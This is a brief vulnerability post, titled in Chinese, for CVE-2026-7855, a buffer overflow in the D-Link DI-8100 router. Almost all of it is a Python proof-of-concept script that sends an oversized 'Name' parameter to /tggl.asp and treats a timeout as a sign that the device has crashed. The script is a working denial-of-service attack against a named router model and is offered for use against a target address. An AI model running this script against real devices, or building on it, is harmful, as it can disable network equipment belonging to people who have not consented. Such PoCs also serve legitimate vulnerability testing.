CVE-2026-7855 D-Link DI-8100缓冲区溢出漏洞

import requests def exploit_poc(target_ip): """ Proof of Concept for CVE-2026-7855. Sends a malicious payload to the Name parameter of /tggl.asp to trigger a buffer overflow. """ target_url = f"http://{target_ip}/tggl.asp" # Crafting a payload to trigger the overflow. # A large string of 'A's is used to exceed the buffer limit. # Adjust the length based on specific fuzzing results. payload = "A" * 1000 params = { "Name": payload } try: print(f"[+] Sending payload to {target_url}...") response = requests.get(target_url, params=params, timeout=5) # Check if the device responds or crashes (timeout) if response.status_code == 200: print("[!] Request sent successfully. Check device for instability.") else: print(f"[!] Device responded with status code: {response.status_code}") except requests.exceptions.Timeout: print("[+] Request timed out. The device may have crashed (DoS).") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP exploit_poc(target)